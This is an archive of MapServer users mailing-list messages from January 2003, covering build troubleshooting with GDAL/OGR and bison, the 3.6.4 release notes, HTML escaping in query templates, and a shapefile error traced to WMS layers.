> To: Mapserver-Users at Lists. Gis. Umn. Edu (E-mail)
> Cc: Rosa-Users at Dmsolutions. Ca (E-mail)
> Subject: [rosa-users] Rosa Applet for Mac?
>
>
> Has anyone developed a Mac compatible applet for Mapserver?
> I am assuming
> that the issue is related to the lack of support for
> LiveConnect on the Mac
> platform.
>
> Regards,
>
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau: 604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
>
> _______________________________________________
> ROSA-users mailing list
> ROSA-users at dmsolutions.ca
> http://lists.dmsolutions.ca/mailman/listinfo/rosa-users
>
------_=_NextPart_000_01C2B744.D45F5B78
Content-Type: text/html;
name="mappletClient.html"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="mappletClient.html"
Map Client
------_=_NextPart_000_01C2B744.D45F5B78--
From assefa at dmsolutions.ca Wed Jan 8 10:39:35 2003
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Wed, 08 Jan 2003 13:39:35 -0500
Subject: [Mapserver-users] Compiled 3.7 with Flash swf support?
References: <8AE17DD6AA4FD51191CD0002A551168184BB25@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <3E1C7067.28205F68@dmsolutions.ca>
There is one available at
http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.7-dev-win32-php4.2.3-libwww.zip.
The souce code dates from Dec 9 so the latest fixes are not available. I am
going to update the download site with newer versions in the comming weeks.
Later,
"Grant, Ryan" wrote:
> Hey there,
>
> Is there are precompiled 3.7 with Flash swf support available to download?
> I'm interested in doing some playing/testing.
>
> Thanks!
>
> Ryan
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
From morissette at dmsolutions.ca Wed Jan 8 11:48:08 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 08 Jan 2003 14:48:08 -0500
Subject: [Mapserver-users] mapserver compile problems
References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de>
Message-ID: <3E1C8078.A9CFF4AE@dmsolutions.ca>
Philipp Jacob wrote:
>
> i recompiled the gdal library.
> configure checked for OGR support and enabled it. well, sounds nice.
> 'make all' 'make install' done..
>
> then i configured the mapserver again.
> additionally with the option: --with-ogr
> configure finished successfully and i had a look at the Makefile.
> OGR support is mentioned there, and the right paths are set.
> (/usr/local/lib -lgdal.1.1)
>
> but 'make' brings even more 'undefined references' than before:
>
> ------------
> ...
> ./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj
> *)':
> mapogr.o(.text+0x16c): undefined reference to
> `OGRPolygon::getExteriorRing(void)'
Looks very much like your libgdal.1.1.so doesn't include OGR support.
Did you do a 'make clean' after you reconfigured your GDAL and before
recompiling and reinstalling it? Did you also do a 'make clean' in the
MapServer directory before recompiling it?
I guess you could also check that OGR is really included in your
libgdal.1.1.so using the following command, you should see about 30
symbols associated with OGRPolygon:
nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon
The last thing I can think of would be an issue with the order of the
libraries on the link command, but I don't think I've ever seen this
happening on any platform with MapServer.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From mpr at dpi.ufv.br Wed Jan 8 13:29:45 2003
From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis)
Date: Wed, 08 Jan 2003 19:29:45 -0200
Subject: [Mapserver-users] MapServer on Windows xp
Message-ID: <5.1.0.14.0.20030108192705.00baa088@vicosa.dpi.ufv.br>
Will MapServer compile on Windows xp?
Thanks!
Mauricio
From assefa at dmsolutions.ca Wed Jan 8 14:19:54 2003
From: assefa at dmsolutions.ca (Yewondwossen Assefa)
Date: Wed, 08 Jan 2003 17:19:54 -0500
Subject: [Mapserver-users] MapServer on Windows xp
References: <5.1.0.14.0.20030108192705.00baa088@vicosa.dpi.ufv.br>
Message-ID: <3E1CA40A.BC36ED5F@dmsolutions.ca>
Yes. I do my compilations on XP.
Maur?cio Pereira Reis wrote:
> Will MapServer compile on Windows xp?
>
> Thanks!
>
> Mauricio
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
From ARyan at co.linn.or.us Wed Jan 8 14:34:07 2003
From: ARyan at co.linn.or.us (Ryan, Adam)
Date: Wed, 8 Jan 2003 14:34:07 -0800
Subject: [Mapserver-users] MapServer on Windows xp
Message-ID: <614FCE5F14A6D41180C200010240D6A20104C612@LINNMS>
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C2B766.0E7E4A60
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Yewondwossen,
Are you using VC++ to compile mapserver?
Thanks,
Adam
-----Original Message-----
From: Yewondwossen Assefa [mailto:assefa at dmsolutions.ca]
Sent: Wednesday, January 08, 2003 2:20 PM
To: Maur=EDcio Pereira Reis
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] MapServer on Windows xp
Yes. I do my compilations on XP.
Maur=EDcio Pereira Reis wrote:
> Will MapServer compile on Windows xp?
>
> Thanks!
>
> Mauricio
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
----------------------------------------------------------------
Assefa Yewondwossen
Software Analyst
Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/
Phone: (613) 565-5056 (ext 14)
Fax: (613) 565-0925
----------------------------------------------------------------
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
------_=_NextPart_001_01C2B766.0E7E4A60
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
RE: [Mapserver-users] MapServer on Windows xp
Yewondwossen,
Are you using VC++ to compile mapserver?
Thanks,
Adam
-----Original Message-----
From: Yewondwossen Assefa [mailto:assefa at dmsolutions.ca]<=
/FONT>
Sent: Wednesday, January 08, 2003 2:20 PM
To: Maur=EDcio Pereira Reis
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] MapServer on Windows =
xp
Yes. I do my compilations on XP.
Maur=EDcio Pereira Reis wrote:
> Will MapServer compile on Windows xp?
>
> Thanks!
>
> Mauricio
>
> =
_______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-us=
ers
------_=_NextPart_001_01C2B766.0E7E4A60--
From morissette at dmsolutions.ca Wed Jan 8 21:41:55 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 00:41:55 -0500
Subject: [Mapserver-users] MapServer 3.6.4 release
Message-ID: <3E1D0BA3.6FA42D7F@dmsolutions.ca>
Hi everyone,
A new MapServer version 3.6.4 release has been posted to the MapServer
website tonight. I'll attach the list of changes since 3.6.3 at the end
of this message, mostly minor bug fixes.
You can get the 3.6.4 source at http://mapserver.gis.umn.edu/dload.html
Pericles mentioned that he would make new win32 builds available on the
UMN site shortly (http://mapserver.gis.umn.edu/win32binaries.html), and
new PHP MapScript DLLs should be available on the DM Solutions download
site soon as well (http://www2.dmsolutions.ca/mapserver/dl/).
Finally, a note about the SWIG wrappers in this source package:
Steve Lime wrote:
>
> There is one small difference. The version of Swig used to build the
> Perl/Python/Tcl interfaces is different than in previous releases. With
> Perl there is a subtle difference in how you instantiate objects:
>
> $map = new mapObj(...);
>
> becomes:
>
> $map = new mapscript::mapObj(...);
>
> This change was made to bring Perl in line with the other language
> modules.
Enjoy!
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
Version 3.6.4 (2003-01-08)
--------------------------
- Use LD instead of CC to refer to linker program name in the Makefile
to help dealing with GCC 3.x issues (doesn't resolve the issue
completely)
- Added missing MS_LAYER_CIRCLE and MS_CC constants in PHP MapScript
- Fixed bad memory corruption bug with WMS SRS parameter value mapwms.c
(Thanks to Ed M. for finding it)
- Added version 3.7's mappostgis.c
- minor bug fixes
- lots of help if you make a mistake
- more functionality
- Fixed problem in space-delimited wms_srs metadata with WMS client mode
where the last SRS in the string was never used even if it would have
been a best match. Causing unnecessary WMS reprojections in several
cases.
- Fixed configure script to produce an error if --with-gdal does not
point to a valid gdal-config file.
From berend.veldkamp at aris.nl Thu Jan 9 02:40:28 2003
From: berend.veldkamp at aris.nl (Berend Veldkamp)
Date: Thu, 09 Jan 2003 11:40:28 +0100
Subject: [Mapserver-users] MapServer 3.6.4 release
References: <3E1D0BA3.6FA42D7F@dmsolutions.ca>
Message-ID: <3E1D519C.25F80B2A@aris.nl>
Any idea if joins are fixed in this release or do I have to wait for
3.7?
Berend
Daniel Morissette wrote:
>
> Hi everyone,
>
> A new MapServer version 3.6.4 release has been posted to the MapServer
> website tonight. I'll attach the list of changes since 3.6.3 at the end
> of this message, mostly minor bug fixes.
--
From berend.veldkamp at aris.nl Thu Jan 9 02:51:50 2003
From: berend.veldkamp at aris.nl (Berend Veldkamp)
Date: Thu, 09 Jan 2003 11:51:50 +0100
Subject: [Mapserver-users] HTML characters in template
Message-ID: <3E1D5445.B9FE1E3F@aris.nl>
I noticed MS doesn't encode special characters in query templates,
i.e. when [ITEMNAME] contains >, it should be replaced by >
Comments?
Berend
--
_________________________________________________
ARIS - Hooghiemstraplein 126 - NL 3514 AZ Utrecht
tel. +31 30 2769180 - fax. +31 30 2733578
url: http://www.aris.nl/
_________________________________________________
From philipp.jacob at geosysnet.de Thu Jan 9 03:03:59 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Thu, 09 Jan 2003 12:03:59 +0100
Subject: [Mapserver-users] mapserver compile problems
References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de> <3E1C8078.A9CFF4AE@dmsolutions.ca>
Message-ID: <3E1D571F.3040201@geosysnet.de>
Daniel Morissette wrote:
>Philipp Jacob wrote:
>
>
>>i recompiled the gdal library.
>>configure checked for OGR support and enabled it. well, sounds nice.
>>'make all' 'make install' done..
>>
>>then i configured the mapserver again.
>>additionally with the option: --with-ogr
>>configure finished successfully and i had a look at the Makefile.
>>OGR support is mentioned there, and the right paths are set.
>>(/usr/local/lib -lgdal.1.1)
>>
>>but 'make' brings even more 'undefined references' than before:
>>
>>------------
>>...
>>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj
>>*)':
>>mapogr.o(.text+0x16c): undefined reference to
>>`OGRPolygon::getExteriorRing(void)'
>>
>>
>
>
>Looks very much like your libgdal.1.1.so doesn't include OGR support.
>Did you do a 'make clean' after you reconfigured your GDAL and before
>recompiling and reinstalling it? Did you also do a 'make clean' in the
>MapServer directory before recompiling it?
>
>I guess you could also check that OGR is really included in your
>libgdal.1.1.so using the following command, you should see about 30
>symbols associated with OGRPolygon:
>
>nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon
>
>The last thing I can think of would be an issue with the order of the
>libraries on the link command, but I don't think I've ever seen this
>happening on any platform with MapServer.
>
>Daniel
>
>
"nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon" brings up the following:
----------
00183bc0 T _Z14OGRGetCentroidP10OGRPolygonP8OGRPoint
00183450 T _Z20OGRPolygonLabelPointP10OGRPolygonP8OGRPoint
001833b0 T _Z24OGRIntersectPointPolygonP8OGRPointP10OGRPolygon
00188610 T _ZN10OGRPolygon11exportToWkbE15OGRwkbByteOrderPh
00188950 T _ZN10OGRPolygon11exportToWktEPPc
00188ae0 T _ZN10OGRPolygon11getEnvelopeEP11OGREnvelope
00188230 T _ZN10OGRPolygon12getDimensionEv
00188420 T _ZN10OGRPolygon13importFromWkbEPhi
001886f0 T _ZN10OGRPolygon13importFromWktEPPc
00188ad0 T _ZN10OGRPolygon14PointOnSurfaceEP8OGRPoint
00188380 T _ZN10OGRPolygon15addRingDirectlyEP13OGRLinearRing
00188270 T _ZN10OGRPolygon15getExteriorRingEv
00188250 T _ZN10OGRPolygon15getGeometryNameEv
00188220 T _ZN10OGRPolygon15getGeometryTypeEv
001882c0 T _ZN10OGRPolygon15getInteriorRingEi
001882a0 T _ZN10OGRPolygon19getNumInteriorRingsEv
00188240 T _ZN10OGRPolygon22getCoordinateDimensionEv
00188bf0 T _ZN10OGRPolygon5EqualEP11OGRGeometry
001880e0 T _ZN10OGRPolygon5cloneEv
00188180 T _ZN10OGRPolygon5emptyEv
001883d0 T _ZN10OGRPolygon7WkbSizeEv
001882f0 T _ZN10OGRPolygon7addRingEP13OGRLinearRing
00188ac0 T _ZN10OGRPolygon8CentroidEP8OGRPoint
00188aa0 T _ZN10OGRPolygon8get_AreaEv
00188cf0 T _ZN10OGRPolygon9transformEP27OGRCoordinateTransformation
00187fb0 T _ZN10OGRPolygonC1Ev
00187f70 T _ZN10OGRPolygonC2Ev
00188090 T _ZN10OGRPolygonD0Ev
00188040 T _ZN10OGRPolygonD1Ev
00187ff0 T _ZN10OGRPolygonD2Ev
00173ff0 T _ZN9TABRegion13AppendSecHdrsEP10OGRPolygonRP19TABMAPCoordSecHdr_tP10TABMAPFileRi
0021c330 V _ZTI10OGRPolygon
001df416 V _ZTS10OGRPolygon
0021c240 V _ZTV10OGRPolygon
----------
then i configured the new mapserver version 3.6.4:
----------
...
checking whether we should include OGR support...
checking for gdal-config... /usr/local/bin/gdal-config
checking for OGRRegisterAll in -lgdal.1.1... yes
using OGR from system libs.
checking if GDAL support requested... yes
...
-----------
but 'make' doesn't finish anyway.
(again many 'undefined references'...)
From mschulz at webgis.de Thu Jan 9 04:02:12 2003
From: mschulz at webgis.de (Michael Schulz)
Date: Thu, 09 Jan 2003 13:02:12 +0100
Subject: [Mapserver-users] HTML characters in template
References: <3E1D5445.B9FE1E3F@aris.nl>
Message-ID: <3E1D64C4.7483E3E3@webgis.de>
Hi,
i think most template commands have an escaped version, just append
_esc:
e.g. [post or get variable name_esc]
HTH, Michael
Berend Veldkamp schrieb:
> I noticed MS doesn't encode special characters in query templates,
> i.e. when [ITEMNAME] contains >, it should be replaced by >
> Comments?
>
> Berend
>
> --
> _________________________________________________
>
> ARIS - Hooghiemstraplein 126 - NL 3514 AZ Utrecht
> tel. +31 30 2769180 - fax. +31 30 2733578
> url: http://www.aris.nl/
> _________________________________________________
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
-----------------------------------------------------------
Michael Schulz in medias res
Dipl.-Geologe Gesellschaft f?r
Informationstechnologie mbH
Sautierstr. 38, 79104 Freiburg
0761 55695-95 (Fax 96)
mschulz at webgis.de www.webgis.de
From berend.veldkamp at aris.nl Thu Jan 9 05:08:30 2003
From: berend.veldkamp at aris.nl (Berend Veldkamp)
Date: Thu, 09 Jan 2003 14:08:30 +0100
Subject: [Mapserver-users] HTML characters in template
References: <3E1D5445.B9FE1E3F@aris.nl> <3E1D64C4.7483E3E3@webgis.de>
Message-ID: <3E1D744E.8BD7CC@aris.nl>
Ah yes, I see it now in the documentation. That's since version 3.6,
right?
Berend
Michael Schulz wrote:
>
> Hi,
>
> i think most template commands have an escaped version, just append
> _esc:
> e.g. [post or get variable name_esc]
>
> HTH, Michael
>
> Berend Veldkamp schrieb:
>
> > I noticed MS doesn't encode special characters in query templates,
> > i.e. when [ITEMNAME] contains >, it should be replaced by >
> > Comments?
> >
> > Berend
--
From morissette at dmsolutions.ca Thu Jan 9 06:57:17 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 09:57:17 -0500
Subject: [Mapserver-users] MapServer 3.6.4 release
References: <3E1D0BA3.6FA42D7F@dmsolutions.ca> <3E1D519C.25F80B2A@aris.nl>
Message-ID: <3E1D8DCD.506501F6@dmsolutions.ca>
Berend Veldkamp wrote:
>
> Any idea if joins are fixed in this release or do I have to wait for
> 3.7?
>
There is no change in 3.6 with respect to joins AFAIK and I wouldn't
expect any to happen in the 3.6.x series, so you'll have to wait for
3.7. I don't know if joins are already re-enabled in 3.7, but if they
are then 3.7 is already quite useable if you want to try it.
FYI, the only fixes that we make in 3.6.x are simple maintenance fixes
to improve stability of the software, but we will not introduce new code
because of the risk of creating new problems in a stable version of the
software (fixing joins would be considered a new feature). I guess the
backport of the PostGIS stuff from 3.7 to 3.6.4 is an exception to this
rule but it was because of some important problems in the previous
versions and the fact that the developer who did that was very confident
that this wouldn't cause any side-effect.
Daniel
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From steve.lime at dnr.state.mn.us Thu Jan 9 08:09:07 2003
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Thu, 09 Jan 2003 10:09:07 -0600
Subject: [Mapserver-users] HTML characters in template
Message-ID:
Yup, but I'm not sure it fixes your problem. The _esc replacement is
basically there so you could escape data for inclusion in other URLs.
Special characters are replaced with their hexidecimal ascii codes so a
space becomes %20 and so on. I think what you want is html escapes and
we'd need to add that, probably as another substitution qualifier:
[variable_html] or something like that
Thoughts?
Steve
Stephen Lime
Data & Applications Manager
Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937
>>> Berend Veldkamp 01/09/03 07:08AM >>>
Ah yes, I see it now in the documentation. That's since version 3.6,
right?
Berend
Michael Schulz wrote:
>
> Hi,
>
> i think most template commands have an escaped version, just append
> _esc:
> e.g. [post or get variable name_esc]
>
> HTH, Michael
>
> Berend Veldkamp schrieb:
>
> > I noticed MS doesn't encode special characters in query templates,
> > i.e. when [ITEMNAME] contains >, it should be replaced by >
> > Comments?
> >
> > Berend
--
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From philipp.jacob at geosysnet.de Thu Jan 9 08:36:53 2003
From: philipp.jacob at geosysnet.de (Philipp Jacob)
Date: Thu, 09 Jan 2003 17:36:53 +0100
Subject: [Mapserver-users] mapserver compile problems
References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de> <3E1C8078.A9CFF4AE@dmsolutions.ca>
Message-ID: <3E1DA525.2070604@geosysnet.de>
ok, i think i have found my mistake!
i recompiled the gdal library, now with the gcc 2.95:
'CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure'
'make'
'make install'
compiling mapserver made no mistakes anymore.
thanks for all your help!
Daniel Morissette wrote:
>Philipp Jacob wrote:
>
>
>>i recompiled the gdal library.
>>configure checked for OGR support and enabled it. well, sounds nice.
>>'make all' 'make install' done..
>>
>>then i configured the mapserver again.
>>additionally with the option: --with-ogr
>>configure finished successfully and i had a look at the Makefile.
>>OGR support is mentioned there, and the right paths are set.
>>(/usr/local/lib -lgdal.1.1)
>>
>>but 'make' brings even more 'undefined references' than before:
>>
>>------------
>>...
>>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj
>>*)':
>>mapogr.o(.text+0x16c): undefined reference to
>>`OGRPolygon::getExteriorRing(void)'
>>
>>
>
>
>Looks very much like your libgdal.1.1.so doesn't include OGR support.
>Did you do a 'make clean' after you reconfigured your GDAL and before
>recompiling and reinstalling it? Did you also do a 'make clean' in the
>MapServer directory before recompiling it?
>
>I guess you could also check that OGR is really included in your
>libgdal.1.1.so using the following command, you should see about 30
>symbols associated with OGRPolygon:
>
>nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon
>
>The last thing I can think of would be an issue with the order of the
>libraries on the link command, but I don't think I've ever seen this
>happening on any platform with MapServer.
>
>Daniel
>
>
From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 08:36:31 2003
From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor)
Date: Thu, 9 Jan 2003 11:36:31 -0500
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <048FBD219330D211B47000A0C9B3BAFD0489867C@crl02.crrel.usace.army.mil>
Hello. Some of our users are experiencing a strange MapServer error that I haven't yet been able to duplicate. At a certain scale, the map will be drawn with the following error written on the map image itself: "msOpenSHPFile(): (M:\misc\utm16.shp)". This is not a filename on our system and I can't find that text in the source code anywhere. Does anyone have any idea what might be causing this? Thanks for any advice.
Cheers,
Hannah
Hannah Jensen
(603) 646-4145
Remote Sensing / GIS Center
Cold Regions Research and Engineering Lab (CRREL)
US Army Corps of Engineers
72 Lyme Rd, Hanover, NH 03755-1290
From berend.veldkamp at aris.nl Thu Jan 9 08:36:41 2003
From: berend.veldkamp at aris.nl (Berend Veldkamp)
Date: Thu, 09 Jan 2003 17:36:41 +0100
Subject: [Mapserver-users] HTML characters in template
References:
Message-ID: <3E1DA519.81B7C4DD@aris.nl>
That shouldn't be too hard if you just convert the basic characters
that could mess up html code: <, >, " and maybe &. If you want to
convert all characters (?, ?, ?, ...) you'd need to know which
characterset the data is in. But most modern browsers display these
characters ok anyway, so it's not a priority, I guess.
BTW It would be nice if 'characterset' was a property of the layer
object, we sometimes experience problems when maplabels contain
special characters, or can this be changed in some way already?
Berend
Steve Lime wrote:
>
> Yup, but I'm not sure it fixes your problem. The _esc replacement is
> basically there so you could escape data for inclusion in other URLs.
> Special characters are replaced with their hexidecimal ascii codes so a
> space becomes %20 and so on. I think what you want is html escapes and
> we'd need to add that, probably as another substitution qualifier:
>
> [variable_html] or something like that
>
> Thoughts?
>
> Steve
>
> --
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
--
From jmccue at geovue.com Thu Jan 9 08:37:23 2003
From: jmccue at geovue.com (John McCue)
Date: Thu, 9 Jan 2003 11:37:23 -0500
Subject: [Mapserver-users] mapparser.obj and maplexer.obj
Message-ID:
I am running into a few problems compiling v3.7:
- I tried to make mapparser.c using:
bison.exe -p msyy -d -omapparser.c mapparser.y
I get:
bison.exe: "C:\mapserv\bison": Invalid argument
- When I run NMAKE on the makefile, I get a lot of maplexer.l 'undeclared
identifiers' as well as some errors saying:
error C2224: left of '.dblval' must have struct/union type
Any ideas?
Thanks!
John
From Chip.Hankley at GASAI.Com Thu Jan 9 09:27:51 2003
From: Chip.Hankley at GASAI.Com (Hankley, Chip)
Date: Thu, 9 Jan 2003 11:27:51 -0600
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278529B@postoffice.GASAI.Com>
Hannah -
Have you done a search in the Map file for 'utm16'?
Is this a CGI application, or a Mapscript application?
Chip
From jmccue at geovue.com Thu Jan 9 09:45:34 2003
From: jmccue at geovue.com (John McCue)
Date: Thu, 9 Jan 2003 12:45:34 -0500
Subject: [Mapserver-users] mapparser.obj and maplexer.obj
Message-ID:
I found my error -
the bison environment variables BISON_SIMPLE and BISON_HAIRY were set
incorrectly and mapparser.h was not being created.
John McCue
geoVue
200 Lincoln Street 5th Floor
Boston, Massachusetts 02111 USA
p 617.451.2520 x123
f 617.486.3066
www.geoVue.com
LOCATION INTELLIGENCE
jmccue at geovue.com
From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 10:27:16 2003
From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor)
Date: Thu, 9 Jan 2003 13:27:16 -0500
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <048FBD219330D211B47000A0C9B3BAFD0489867E@crl02.crrel.usace.army.mil>
Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas?
Thanks,
Hannah
-----Original Message-----
From: Hankley, Chip [mailto:Chip.Hankley at GASAI.Com]
Sent: Thursday, January 09, 2003 12:28 PM
To: 'Jensen, Hannah ERDC-CRREL-NH Contractor'; MapServer List (E-mail)
Subject: RE: [Mapserver-users] msOpenSHPFile error
Hannah -
Have you done a search in the Map file for 'utm16'?
Is this a CGI application, or a Mapscript application?
Chip
From morissette at dmsolutions.ca Thu Jan 9 10:39:46 2003
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 09 Jan 2003 13:39:46 -0500
Subject: [Mapserver-users] msOpenSHPFile error
References: <048FBD219330D211B47000A0C9B3BAFD0489867E@crl02.crrel.usace.army.mil>
Message-ID: <3E1DC1F2.14DB1F4D@dmsolutions.ca>
"Jensen, Hannah ERDC-CRREL-NH Contractor" wrote:
>
> Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas?
>
Do you use WMS layers in your app? It could be that the error comes
from a remote WMS layer, errors from WMS layers can be returned
'in-image'. That's the only explanation I can think of.
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From ed at topozone.com Thu Jan 9 10:57:34 2003
From: ed at topozone.com (Ed McNierney)
Date: Thu, 9 Jan 2003 13:57:34 -0500
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AD8@mercator.topozone.com>
Hannah -
You'll also get this error if the file "utm16" is referenced in a TILEINDEX file. If that's the case, you'll find the name "utm16" in the Location field of the tile index shape file, but you won't find it in the MAP file.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed at topozone.com
(978) 251-4242
-----Original Message-----
From: Jensen, Hannah ERDC-CRREL-NH Contractor
[mailto:Hannah.Jensen at erdc.usace.army.mil]
Sent: Thursday, January 09, 2003 1:27 PM
To: 'Hankley, Chip'; MapServer List (E-mail)
Subject: RE: [Mapserver-users] msOpenSHPFile error
Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas?
Thanks,
Hannah
-----Original Message-----
From: Hankley, Chip [mailto:Chip.Hankley at GASAI.Com]
Sent: Thursday, January 09, 2003 12:28 PM
To: 'Jensen, Hannah ERDC-CRREL-NH Contractor'; MapServer List (E-mail)
Subject: RE: [Mapserver-users] msOpenSHPFile error
Hannah -
Have you done a search in the Map file for 'utm16'?
Is this a CGI application, or a Mapscript application?
Chip
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 11:44:43 2003
From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor)
Date: Thu, 9 Jan 2003 14:44:43 -0500
Subject: [Mapserver-users] msOpenSHPFile error
Message-ID: <048FBD219330D211B47000A0C9B3BAFD04898680@crl02.crrel.usace.army.mil>
Yes, there are WMS layers in the app. They were only being used for testing purposes. I removed them and the problem has cleared up. Thanks for the help!
Cheers,
Hannah
-----Original Message-----
From: Daniel Morissette [mailto:morissette at dmsolutions.ca]
Sent: Thursday, January 09, 2003 1:40 PM
To: Jensen, Hannah ERDC-CRREL-NH Contractor
Cc: MapServer List (E-mail)
Subject: Re: [Mapserver-users] msOpenSHPFile error
"Jensen, Hannah ERDC-CRREL-NH Contractor" wrote:
>
> Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas?
>
Do you use WMS layers in your app? It could be that the error comes
from a remote WMS layer, errors from WMS layers can be returned
'in-image'. That's the only explanation I can think of.
--
------------------------------------------------------------
Daniel Morissette morissette at dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From John.Arthur at T-Mobile.com Thu Jan 9 14:09:06 2003
From: John.Arthur at T-Mobile.com (Arthur, John)
Date: Thu, 9 Jan 2003 14:09:06 -0800
Subject: [Mapserver-users] CLX component
Message-ID:
Last year, Pedro A. Carrasco, mentioned something about a CLX components for
Delphi or Kylix. I was wandering if anybody has done something with
mapserver and Delphi, Kylix or C++. I am learning Delphi and C++ and would
like to experiment with creating a GIS product for Linux other than Grass.
--
John Arthur
RF Technician
Office: (757) 490-7221
Cellular: (757) 839-0021
Email: john.arthur at t-mobile.com
T-Mobile USA
Get more from life
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
John Arthur
RF Technician
Office: (757) 490-7221
Cellular: (757) 839-0021
Email: john.arthur at t-mobile.com
T-Mobile USA
Get more from life
From Uffe Thu Jan 9 14:27:42 2003
From: Uffe (Uffe)
